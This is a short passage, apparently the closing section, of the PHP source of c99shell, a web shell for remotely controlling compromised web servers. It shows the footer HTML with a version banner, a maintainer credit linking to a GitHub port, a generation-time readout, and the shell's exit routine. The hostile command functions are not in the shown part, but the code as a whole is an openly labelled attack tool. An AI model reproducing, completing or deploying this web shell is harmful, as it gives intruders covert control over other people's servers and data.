value="Go"></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>maintained by</b></u></a> KaizenLouie | <a href="https://github.com/KaizenLouie/C99Shell-PHP7"><font color="#FF0000">C99Shell Github</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime() - starttime, 4); ?> ]--</b></p></td></tr></table>
</body></html><?php chdir($lastdir);

c99shexit(); 
?>